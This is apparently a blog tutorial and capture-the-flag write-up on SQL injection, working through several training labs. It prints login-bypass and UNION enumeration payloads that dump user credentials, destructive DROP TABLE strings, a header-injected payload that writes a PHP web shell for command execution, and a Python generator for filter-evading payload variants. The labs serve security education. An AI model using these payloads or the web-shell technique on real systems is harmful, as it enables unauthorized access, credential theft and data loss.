Introduction to SQL Injection
What is SQL Injection and Its Types?
To define SQL Injection in a single sentence attackers (hackers) inject malicious SQL queries to manipulate or access sensitive data from the database that is connected to the web application. Types of SQL Injection include:
How to Test for SQL Injection?
To detect and exploit SQL Injection vulnerabilities, follow these steps:
Application Mapping: Identify input fields that interact with the database.
Fuzzing the Application:
- Inject SQL-specific characters like
'
or "
to trigger errors or anomalies.
- Use Boolean payloads such as
OR 1=1
or OR 1=2
to test for logical conditions.
- Test time-based payloads (e.g.,
SLEEP(5)
) to observe delays in responses.
- Deploy Out-of-Band payloads to monitor external server interactions.
Analysis: Look for unusual behaviors, such as error messages, data leaks, or response delays, to confirm vulnerabilities.
Automation Tools: Use tools like sqlmap
, ghauri
for systematic testing and enhanced detection accuracy.

Image Credits goes to Rana Khalil
SQL Injection techniques that I got to learn from CTFs
1.Sanitize {SQL AUTH-BYPASS}
Lab Link 🔗: https://app.hackthebox.com/challenges/sanitize
This is fun and easy challenge from hackthebox
. We all have heard about using payloads like or 1=1
on youtube and various places. Now this challenge involves abusing this logic in order to bypass the login. Now with the following wordlist I had most amazing results in bypassing the login pages via SQL Injection
during CTFs. Just capture the login request, and make sure you are using battering ram
mode while fuzzing both the username
and password fields.
https://github.com/payloadbox/sql-injection-payload-list/blob/master/Intruder/exploit/Auth_Bypass.txt
Payload:
' or 1=1 -- -
2. Intergalactic post {Sqli to RCE}
Lab Link 🔗: https://app.hackthebox.com/challenges/Intergalactic%2520Post
After a bit of trail and error we see that the website accepts input and often reders sql error. After a lot failing we come to realisation that what if we can access flag.txt
via an RCE through SQL injection? Now we google the term Sqli to RCE
The first thing that pops up is this repo and inside we get the following payload.
Paylod 1: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md#remote-command-execution-using-sqlite-command---attach-database
First let’s talk a bit about X-Forwarded header
.The X-Forwarded header enables web services to discover the real client IP address when users access them through proxy servers or load balancers. The client sends this header as part of their request and systems typically record or process it for business analysis and security reasons. Because this header lacks validation controls attackers can use it to inject malicious SQL commands and scripts directly into backend systems and logs. Any program that accepts raw unfiltered information from this header exposes itself to injection threats.
When attackers inject the X-Forwarded-For
header they can launch attacks such as SQL injection and command injection by sending harmful strings including ' OR 1=1 --
and more. These harmful strings can cause significant damage to backend systems. These attacks can damage backend functions along with defeating IP security filters and targeting bad logging practices. The header works as a useful attack path because users rarely see it while testing creates an opportunity for attackers to identify backend system weaknesses.
Now soon we realised that the base payload does not work so we will some additional headers which in our case is X-Forwarded header
and let’s change the web directory and try different locations like /var/www
or /var
or /www
. After trail and error we find the location to be /www
Payload 2:
X-Forwarded-For: blahblah','blahblah');ATTACH DATABASE '/www/lol.php' as lol;CREATE TABLE lol.pwn(dataz text); INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
Notice that in our modified payload we are enclosing single quotes ($_GET['cmd']
) inside the PHP code, as seen in the second payload, in first payload we used double quotes. Now we get RCE on the server.
Once the SQL writes an malicious file on it’s web directory it’s time to get the flag.
Finally we get the flag via RCE through SQL injection attack.
3. Picoctf : More SQLi {SQL auth-bypass + Manual SQL Injection on sqlite database}
Lab Link 🔗: https://play.picoctf.org/practice/challenge/358?page=1&search=more%20sql
Many including myself have underestimated the quality of good web based challenges in picoctf
and by far this my personal favourite one. At first glances we are having a simple login page. Now let’s try to bypass the SQL logic
with payloads like ' or 1=1 --
Upon unsuccessful login we get SQL error which confirms that this website might be vulnerable to SQL Injection
.
Time to fuzz for payloads that might work. I am using this wordlist for this task
We found 14 payloads that are able to bypass the login logic.
We will be sticking to this simple payload to bypass authentication / login via Sql Injection
' or true--
Now from here the real challenge starts. We are given an search bar, from which we are expected to get flag.
STEP 1: Initial Testing for SQL Injection
- Inject a simple payload like
'
or 123'
into the input field to check for errors.
- A SQL syntax error indicates the application may be vulnerable to SQLi. But in our case we don’t see any explicit error displayed by the web application
STEP 2:Identify the Number of Columns
- Use the
UNION SELECT
statement to match the structure of the original query.
- For example:
123' UNION SELECT null;-- -- 1 column
123' UNION SELECT null, null;-- -- 2 columns
123' UNION SELECT null, null, null;-- -- 3 columns
- Increase the number of
null
placeholders until the query executes without errors. This reveals the number of columns in the original query.
- Do note that sometimes in CTF null literally returns no value so feel free to use any words, string or any number instead of using
null
.
STEP 3: Determine Data Types
- Replace
null
with test values (e.g., 'test'
, 123
, datetime('now')
) to identify which columns accept which data types:
123' UNION SELECT 'text', null, null;-- -- Column 1 accepts strings
123' UNION SELECT null, 123, null;-- -- Column 2 accepts numbers
123' UNION SELECT null, null, datetime('now');-- -- Column 3 accepts dates
In our case we have 3 columns and we have used the following payload to find the number of columns.
cn' UNION select 1,2,3--
Note that you can start the SQL injection query with any letter and character like cn'
or 123'
.
STEP 4: Extract Table Names
- Use SQLite’s
sqlite_master
table to enumerate all table names in the database:
123' UNION SELECT tbl_name, null, null FROM sqlite_master WHERE type='table';--
- This will list all table names in the database.
STEP 5: Extract Column Names
- Once you identify a table (e.g.,
more_table
), query the PRAGMA table_info()
function or directly target sqlite_master
to enumerate its columns:
123' UNION SELECT sql, null, null FROM sqlite_master WHERE tbl_name='more_table';--
- Alternatively: [Note that this does not work in our situation]
PRAGMA table_info('more_table');
STEP 6: Dump Data
- Now that you know the table (
more_table
) and its columns (flag
), you can extract the data:
123' UNION SELECT flag, null, null FROM more_table;--
4. Understanding Second-Order SQL Injection: A Deep Dive
Lab Link 🔗: https://tryhackme.com/r/room/advancedsqlinjection {Task 3}
Second-order SQL injection, also known as stored SQL injection, is a subtle and dangerous attack vector where malicious input is stored in a database and executed later when that data is retrieved and used in a subsequent SQL query. Unlike classic SQL injection, the payload doesn’t execute immediately, making it harder to detect during initial testing.
How It Happens
In the provided example, user input is sanitized using real_escape_string()
and stored in a database:
$ssn = $conn->real_escape_string($_POST['ssn']);
$book_name = $conn->real_escape_string($_POST['book_name']);
$author = $conn->real_escape_string($_POST['author']);
$sql = "INSERT INTO books (ssn, book_name, author) VALUES ('$ssn', '$book_name', '$author')";
At this stage, input like 12345'; UPDATE books SET book_name = 'Hacked'; --
is stored safely, appearing as normal data. However, during subsequent operations (e.g., when the stored book_name
is fetched and used in a query without re-sanitization), the malicious payload is executed.
Why It’s Dangerous
- Bypassing Front-End Validation: Input sanitization might be sufficient during initial storage, but improper handling during retrieval can reintroduce the attack.
- Delayed Impact: Since the malicious input is dormant until a later interaction, it often escapes detection during initial testing.
- Wide Attack Surface: Once stored, the payload can target multiple parts of the application when the data is reused.
Real-World Scenario
A stored payload like '; DROP TABLE books; --
or 12345'; UPDATE books SET book_name = 'Hacked'; --
may not cause immediate errors but can compromise the database during future queries, leading to data manipulation or loss.
5. Simple SQL WAF bypassing
Lab Link 🔗: https://tryhackme.com/r/room/advancedsqlinjection {Task 4}
The SQL query is not executing correctly, which probably means there is a chance of SQL Injection. Let’s try to inject the payload “Intro to PHP' OR 1=1
”. We will get the following output:
So, what is happening here? When this input is passed to the PHP script, the str_replace
function will strip out the OR keyword and the single quote, resulting in a sanitised input that will not execute the intended SQL injection. This input is ineffective because the filtering removes the critical components needed for the SQL injection to succeed.
SQL injection payloads often exploit filters by using URL-encoded characters to bypass keyword and symbol restrictions. For example, %27
represents a single quote ('
), %20
encodes a space, and %2D%2D
translates to --
, which starts a SQL comment. In the payload 1%27%20||%201=1%20--+
, the single quote (1'
) closes the string, while || 1=1
introduces a condition that always evaluates to true. The --
comment ensures the database ignores any remaining SQL code, effectively bypassing restrictions and returning all records. Using encoding tools like CyberChef can help craft these payloads to evade filters.
This technique manipulates the SQL query structure by encoding key characters, ensuring filters don’t recognize them as malicious. For example, if a query expects input like a book name, injecting Intro to PHP' || 1=1 --+
(URL-encoded) forces the condition to evaluate to true, dumping all database records. URL encoding is crucial for bypassing filters while maintaining SQL syntax integrity, especially in environments where special characters or keywords are sanitized or blocked.
Payload:
http://10.10.255.153/encoding/search_books.php?book_name=Intro%20to%20PHP%27%20||%201=1%20--+
6. Some more simple WAF bypasses
Lab Link 🔗: https://tryhackme.com/r/room/advancedsqlinjection {Task 5}
SQL injection defenses can often be bypassed by using creative obfuscation techniques. In scenarios where spaces or common SQL keywords like OR
, AND
, UNION
, and SELECT
are filtered, attackers can replace spaces with URL-encoded characters (e.g., %0A
for line feed) or inline comments (/**/
). Similarly, logical operators like ||
can substitute blocked keywords. The provided script demonstrates this approach by generating payloads that dynamically substitute placeholders ({space}
, {op}
) with bypass variants like %09
, %0D
, and ||
. This adaptability is critical in real-world environments where filters vary, requiring pentesters to trial combinations and adjust strategies for effective exploitation
Now let’s write an python script to automatically generate payloads that follow the above discussed bypasses in our payload to our SQL query. What this script will do is take any normal SQL payload like 1' or 1=1--
. Now the problem with these times of payloads is that web application might logical operators like and
, or
and therefore we break down our payload that we need to encode in the following way.
1'{space}{op}{space}1=1{space}--
Here {space}
means literal blank space, and {op}
means operation like and
, or
. Below we have python script to encode basic payloads like the above mentioned one, but make sure you are explicitly mentioning {space}
and {op}
import sys
def generate_payloads(base_payload, file_path=None):
if not ('{space}' in base_payload and '{op}' in base_payload):
print("Error: The base payload must include '{space}' and '{op}' placeholders.")
return []
# Define common SQL injection techniques
spaces = ['%09', '%0A', '%0C', '%0D', '%A0', '/**/']
operators = ['||', '&&', '|', '&']
# Generate payloads
payloads = []
for s in spaces:
for o in operators:
payload = base_payload.format(space=s, op=o)
# Add common variations to enhance payload effectiveness
payloads.append(payload)
payloads.append(payload + "%27+") # Appending to match your successful payload
# Optionally write payloads to a file
if file_path:
try:
with open(file_path, 'w') as f:
f.write("\n".join(payloads))
print(f"Payloads saved to {file_path}")
except Exception as e:
print(f"Error writing to file: {e}")
else:
# Output generated payloads in a clean format for Burp Suite
print("\nGenerated Payloads:\n")
print("\n".join(payloads))
return payloads
if __name__ == "__main__":
# Take input from user
base_payload = input("Enter the base payload (use '{space}' for space and '{op}' for operator placeholders):\n")
file_option = input("Do you want to save the payloads to a file? (yes/no): ").strip().lower()
file_path = None
if file_option == 'yes':
file_path = input("Enter the file path to save payloads: ").strip()
generate_payloads(base_payload, file_path)
Code execution might look something like the following:
scripts on master via 🐍 v3.8.10
❯ python3 basic-sqli-bypass.py
Enter the base payload (use '{space}' for space and '{op}' for operator placeholders):
1'{space}{op}{space}1=1{space}--
Do you want to save the payloads to a file? (yes/no): no
Generated Payloads:
1'%09||%091=1%09--
1'%09||%091=1%09--%27+
1'%09&&%091=1%09--
1'%09&&%091=1%09--%27+
1'%09|%091=1%09--
1'%09|%091=1%09--%27+
1'%09&%091=1%09--
1'%09&%091=1%09--%27+
1'%0A||%0A1=1%0A--
1'%0A||%0A1=1%0A--%27+
1'%0A&&%0A1=1%0A--
1'%0A&&%0A1=1%0A--%27+
1'%0A|%0A1=1%0A--
1'%0A|%0A1=1%0A--%27+
1'%0A&%0A1=1%0A--
1'%0A&%0A1=1%0A--%27+
1'%0C||%0C1=1%0C--
1'%0C||%0C1=1%0C--%27+
1'%0C&&%0C1=1%0C--
1'%0C&&%0C1=1%0C--%27+
1'%0C|%0C1=1%0C--
1'%0C|%0C1=1%0C--%27+
1'%0C&%0C1=1%0C--
1'%0C&%0C1=1%0C--%27+
1'%0D||%0D1=1%0D--
1'%0D||%0D1=1%0D--%27+
1'%0D&&%0D1=1%0D--
1'%0D&&%0D1=1%0D--%27+
1'%0D|%0D1=1%0D--
1'%0D|%0D1=1%0D--%27+
1'%0D&%0D1=1%0D--
1'%0D&%0D1=1%0D--%27+
1'%A0||%A01=1%A0--
1'%A0||%A01=1%A0--%27+
1'%A0&&%A01=1%A0--
1'%A0&&%A01=1%A0--%27+
1'%A0|%A01=1%A0--
1'%A0|%A01=1%A0--%27+
1'%A0&%A01=1%A0--
1'%A0&%A01=1%A0--%27+
1'/**/||/**/1=1/**/--
1'/**/||/**/1=1/**/--%27+
1'/**/&&/**/1=1/**/--
1'/**/&&/**/1=1/**/--%27+
1'/**/|/**/1=1/**/--
1'/**/|/**/1=1/**/--%27+
1'/**/&/**/1=1/**/--
1'/**/&/**/1=1/**/--%27+
Once you get nice list of payloads, simply add these payloads to the intruder and start fuzzing, in our lab we found 5 new working payloads that can help us solve lab.
Do make an important note that real life web applications are much more complex and we need sophisticated and reliable tools like sqlmap
or ghauri
to automate and evade web application defences. The goal of this section in this blog is to make us understand at an core level what and how we can really bypass web application protections, not to replicate real life scenario. Stay tuned for the upcoming blogs where we will discuss about the use of automation tools in SQL Injection
7. Header SQL Injection
Lab Link 🔗: https://tryhackme.com/r/room/advancedsqlinjection {Task 7}
Now this one is obvious just like header based XSS
sometimes we can inject SQL Queries
into the web application, which leads to SQL injection
. In real life scenarios don’t forget to fuzz the http headers
with SQL Injection payloads
!
Payload Used:
' UNION SELECT book_id, flag FROM books; #
Now let’s inject this into the user-agent
header. We will be using burp suite for this.
After successfully injecting the SQL query
we get the flag.
Manual SQL Injection
attacks demystified
Lab Link 🔗:
- https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle
- https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle
Note that techniques discussed in this applies for almost all of the databases except for oracle
database. Since parameters and data is passed via GET
we can directly start injecting payloads on the URL
. First as always you can see if using any characters like ','' or #
is leading to any internal or data base error. Once it shows some obvious errors, now let’s go ahead and enumerate the columns in the database first so that we can start injecting SQL queries
Enumerating the database
Step 1: Find the number of columns present in the database
https://0a5500ac03d8c8dc8241928700ed0080.web-security-academy.net/filter?category=Gifts%27+UNION+SELECT+%27null%27--
Now it’s been confirmed that this DB has more than one column now let’s try and see if the database has two columns.
https://0a5500ac03d8c8dc8241928700ed0080.web-security-academy.net/filter?category=Gifts%27+UNION+SELECT+%27null%27,%27null%27--

![[Pasted image 20250120231837.png]]
Now this verifies that the database has 2 columns and now let’s try to find some juicy details
Verify that the query is returning two columns, both of which contain text, using a payload like the following in the category
parameter:
'+UNION+SELECT+'abc','def'--
When we use the above payload we are able to verify that the both of the databases has column that has or accepts string data type.
Step 3: Find the database version you are dealing with:
Now for this we have remember that techniques discussed in the next section applies to most of databases except for oracle
. When it does not apply for oracle
we explicitly mention and discuss the payload that works for the oracle
databases.
'+UNION+SELECT+@@version,+NULL#
Make sure that you URL encode this payload and just remember espeically the special characters @@
and #
are encoded with URL.
Step 3: Manual database enumeration on oracle
Initial enumeration we find that using '
results in internal error, and we can find and verify that this database has two columns. And we find that both the columns accept string datatype.
Gifts'+UNION+SELECT+'null'--
Gifts'+UNION+SELECT+'null','null'--
'+UNION+SELECT+'abc','def'--
Now the only tweaking we need to do for the payload to work is to mention and specify the database from which we are trying to mess around in our case it’s dual
so let’s add it to our payload.
'+UNION+SELECT+'abc','def'+FROM+dual--
And now we see it works.
Now finally we will use the following payload to get the database version on oracle
.
'+UNION+SELECT+BANNER,+NULL+FROM+v$version--
Exploiting the database
Step 4: List all the tables present in the database.
Use the following payload to retrieve the list of tables in the database. Again do make a note that the following techniques work for almost all databases except for oracle
When ever we need to change our payload so that it works on oracle
databases we explicitly mention what works on oracle database
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
Note that for oracle databases the same payload will look something like this
'+UNION+SELECT+table_name,NULL+FROM+all_tables--
Find the name of the table containing user credentials. Feel free to search on web page using ctrl+f
.
Step 5: List all the columns present inside the table we want to dump the data.
Use the following payload (replacing the table name) to retrieve the details of the columns in the table:
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_pewrif'--
For oracle payload will be something similar to the below following. Note that we will be using all_tab_columns
instead of information_schema
.
'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ABCDEF'--
Find the names of the columns containing usernames and passwords.
Step 6: Dump the data present in the columns, from the table
Use the following payload (replacing the table and column names) to retrieve the usernames and passwords for all users:
'+UNION+SELECT+username_phrgmq,+password_tyyaor+FROM+users_pewrif--
For oracle databses the payload will be the same, no changes, just specify the columns and table name correctly.
Find the password for the administrator
user, and use it to log in.
Some additional TRYHACKME free rooms for extra practice on SQL Injection:
Some good blogs on SQL injection:
https://infosecwriteups.com/the-wrath-of-second-order-sql-injection-c9338a51c6d
https://www.intigriti.com/researchers/blog/hacking-tools/hacker-tools-sqlmap-finding-sqli-like-a-pro